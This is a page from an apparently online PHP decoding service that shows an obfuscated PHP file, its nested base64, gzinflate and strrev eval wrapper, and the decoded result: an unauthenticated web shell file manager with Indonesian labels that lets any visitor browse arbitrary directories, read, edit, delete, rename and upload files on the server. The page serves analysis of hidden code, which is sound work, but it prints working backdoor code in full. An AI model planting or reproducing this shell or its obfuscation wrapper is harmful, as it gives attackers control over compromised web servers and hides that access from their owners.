Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = '==Ak1FVwB54NuuA/d5zfA3AH6C8wums0gwvf9bPp8Qo1S5BdMGSz+DAmJFTefKjCat1QE9hyOf9..

Decoded Output download

?>b'<?php
$directory = isset($_GET[\'dir\']) ? $_GET[\'dir\'] : getcwd();

function getFilesInDirectory($directory) {
    $files = [];
    if ($handle = opendir($directory)) {
        while (false !== ($file = readdir($handle))) {
            if ($file != "." && $file != "..") {
                $files[] = $file;
            }
        }
        closedir($handle);
    }
    return $files;
}

function editFile($filename, $content) {
    file_put_contents($filename, $content);
}

function renameFile($oldName, $newName) {
    rename($oldName, $newName);
}

function uploadFile($directory, $tmpFile, $fileName) {
    $filePath = $directory . \'/\' . $fileName;
    if (move_uploaded_file($tmpFile, $filePath)) {
        return true;
    } else {
        return false;
    }
}

if ($_SERVER[\'REQUEST_METHOD\'] === \'POST\') {
    if (isset($_FILES[\'uploaded_file\'])) {
        $uploadedFile = $_FILES[\'uploaded_file\'];
        $tmpFile = $uploadedFile[\'tmp_name\'];
        $fileName = $uploadedFile[\'name\'];
        if (!empty($fileName)) {
            $uploadStatus = uploadFile($directory, $tmpFile, $fileName);
            if ($uploadStatus) {
                echo "File berhasil diunggah! => " . htmlspecialchars($directory . \'/\' . $fileName);
            } else {
                echo "File gagal diunggah :(";
            }
        }
    } else if (isset($_POST[\'new_file\'])) {
        $newFileName = $_POST[\'new_file\'];
        if (!empty($newFileName)) {
            $newFileName = basename($newFileName);
            $newFilePath = $directory . \'/\' . $newFileName;
            if (!file_exists($newFilePath)) {
                fopen($newFilePath, \'w\');
            }
        }
    } else if (isset($_POST[\'delete_file\'])) {
        $fileToDelete = $_POST[\'delete_file\'];
        $fileToDelete = basename($fileToDelete);
        $filePath = $directory . \'/\' . $fileToDelete;
        if (file_exists($filePath)) {
            unlink($filePath);
        }
    } else if (isset($_POST[\'edit_file\'])) {
        $fileName = $_POST[\'edit_file\'];
        $fileContent = $_POST[\'file_content\'];
        $fileName = basename($fileName);
        $filePath = $directory . \'/\' . $fileName;
        if (file_exists($filePath)) {
            editFile($filePath, $fileContent);
        }
    } else if (isset($_POST[\'rename_file\'])) {
        $oldFileName = $_POST[\'rename_file\'];
        $newFileName = $_POST[\'new_name\'];
        $oldFileName = basename($oldFileName);
        $newFileName = basename($newFileName);
        $oldFilePath = $directory . \'/\' . $oldFileName;
        $newFilePath = $directory . \'/\' . $newFileName;
        if (file_exists($oldFilePath) && !file_exists($newFilePath)) {
            renameFile($oldFilePath, $newFilePath);
        }
    }
}

$files = getFilesInDirectory($directory);
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
</head>
<body>
    <h2>File Manager</h2>
    
    <h3>Direktori Saat Ini: <?php echo htmlspecialchars($directory); ?></h3>

    <h3>Daftar File:</h3>
    <ul>
        <?php foreach ($files as $file) { ?>
            <li>
                <?php echo htmlspecialchars($file); ?>
                <form action="" method="POST" style="display:inline">
                    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($file); ?>">
                    <textarea name="file_content" rows="2" cols="30"><?php echo htmlspecialchars(file_get_contents($directory . \'/\' . $file)); ?></textarea>
                    <button type="submit">Edit</button>
                </form>
                <form action="" method="POST" style="display:inline">
                    <input type="hidden" name="rename_file" value="<?php echo htmlspecialchars($file); ?>">
                    <input type="text" name="new_name" placeholder="New name">
                    <button type="submit">Rename</button>
                </form>
            </li>
        <?php } ?>
    </ul>

    <h3>Tambah File Baru:</h3>
    <form action="" method="POST">
        <input type="text" name="new_file" placeholder="Nama file baru">
        <button type="submit">Tambah</button>
    </form>

    <h3>Hapus File:</h3>
    <form action="" method="POST">
        <select name="delete_file">
            <?php foreach ($files as $file) { ?>
                <option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
            <?php } ?>
        </select>
        <button type="submit">Hapus</button>
    </form>

    <h3>Ganti Direktori:</h3>
    <form action="" method="GET">
        <input type="text" name="dir" placeholder="Masukkan path direktori">
        <button type="submit">Go</button>
    </form>

    <h3>Unggah File:</h3>
    <form action="" method="POST" enctype="multipart/form-data">
        <input type="file" name="uploaded_file">
        <button type="submit">Unggah</button>
    </form>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php
$enc = '==Ak1FVwB54NuuA/d5zfA3AH6C8wums0gwvf9bPp8Qo1S5BdMGSz+DAmJFTefKjCat1QE9hyOf9vhk/JjPqHFyjewc6BnxcUJcwxZTamnLT1XBaft0DO/Dzpw4NV8gcSfIdcmHcdUm3zkM3HNv3prqHJOemJeagZ81Q8ipI0bux826xrRU51y1slTpQR94UlRP6Ohn4Kl35XPhCmW7DkZqFkTTSmuQxmiDCJfoz7k4TIIX9HU4je0mMJfgsWqAZwYRy5Uqa0oGJzAJ7+gKPRWFZzex1+wvp6KfdiQHyWn+3CTIkxFS92uQwYPIaqFOGOGnKGr+/SSD5i/J+RIS8CqxdkM7QByg3YAvqZRKjXBNIGKfbe3xqLBaOHje0fzpigDhiTklDP3Ze5hL/OjkB/t0EtJZUJbc1xkUKuLofMNtzf0UOYPT8nj+QXXuwHPHBioF3zcRFG7K2MTjgXQFRgulSJe3jbs/5YLdcYqxX7UOqBLxMLydjMAOKGalXMRAQ6BieSDEHqK4YH4QVrr+NTMpnJuLoAIssKIpIdDbe72OLB1FIpCryTmbVx30cvbjIJMa9RJOEONaOAbqbMDnIXOYLv9OC5IfreUQPMEa2hOC+HnhLTcjQV5WwhTwV/DL0u5UxcJJnjIoB5OKGasB5k80YcTcKz5NJdI1JGh9vlkBLQcT1637fZy//dzWAcbiLQZZ2Rm68XNmPyl0aTTUzUsptk0fGaPAZwi/JCRbJ7oLG1xCEhOA3LqHt93EW9VKzKhe9PmtvKPxYasWXLayNJOldDlrBHl7pp5VpX9bzk4Y287we99pjQsnu48nvwCjyw5dB4/wlIeWeqJqLX/2gTfiRkDBfv0zynG7q932oUW8qQ3Srj1YNGdDlY+WUIvIlpzKEhF6+j44bZdSbZ+EK2n6EoG1IbktSu1Qv3r9zj0btgSutye9V05I6eYtkdKKKU5ctb1oqtXqJSuOYpirF1SFcHirBvK9wGAke73+EMLcqgTW1xg02og3huwoMkZ3Q7LWkJo1f1WBF4pTyltFvHaj50wzCuGPECmIrHcPkZhX24ROP1SKOavOyiIYU7oqfttWhRp62PCPz4vkRYYw8oRWhGIXlBtj5gH579sYY+NVZBinOoyjF2M8iat6CaxxFZlWK3ZAZfY/LYmPJVyYuhW48m9xTPFUkGlrRU5O7Lvmh7BBWdPIn+/rTeyn/sm+znpfLjt4rm+/dTcKb2UciEhUlOEVGNanHR7hUFSmlkzhse4B+WmCbtLrjiptEp9DBSkAaqvBuMxEpr9ri0cmLhvuyFDJlHKFPfEbRBDEjlCcUEfErZAg2kqRJul8W56OUxuk/3jEdIhMBs3oktR6bZxyZZtKvLVCZ0QO6tUvC0SM0ZKxFFQpUj7tVDOEWJWClkuYVu3oapo0ft5NV99FZdOyrQg9+FPqCN3ox+yD5nPNqG4L0z0RolVuOqrJhmRQcozEUELDaWnhap/MBW00XBW/c5UXbVtQANFzBsnesQL57gGdril/IvahJE5+a6gHYez1PE2XxBA8CvpQ/0nPo65rwLzgWWW/iLv8ijYMTrsr8GFp7N1HS3QsvxbEQhzf6HvguNSppXChsdKxi2Ey7dRnHfuVs3sRHXvPanz35It+g1WUQy8FJfS2z98b5EnY5w91UibRhEEC7sm09pMli2ph9Ux2K9LbD6TwoIo8D9v4HF4M+abdVxcin+8XwABwJe6HfBOEg+sXwEBo/5FgRA';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 3

Variables

$enc ==Ak1FVwB54NuuA/d5zfA3AH6C8wums0gwvf9bPp8Qo1S5BdMGSz+DAmJFTe..

Stats

MD5 59dcf34d8e1a479803486a4b48f4008b
Eval Count 2
Decode Time 45 ms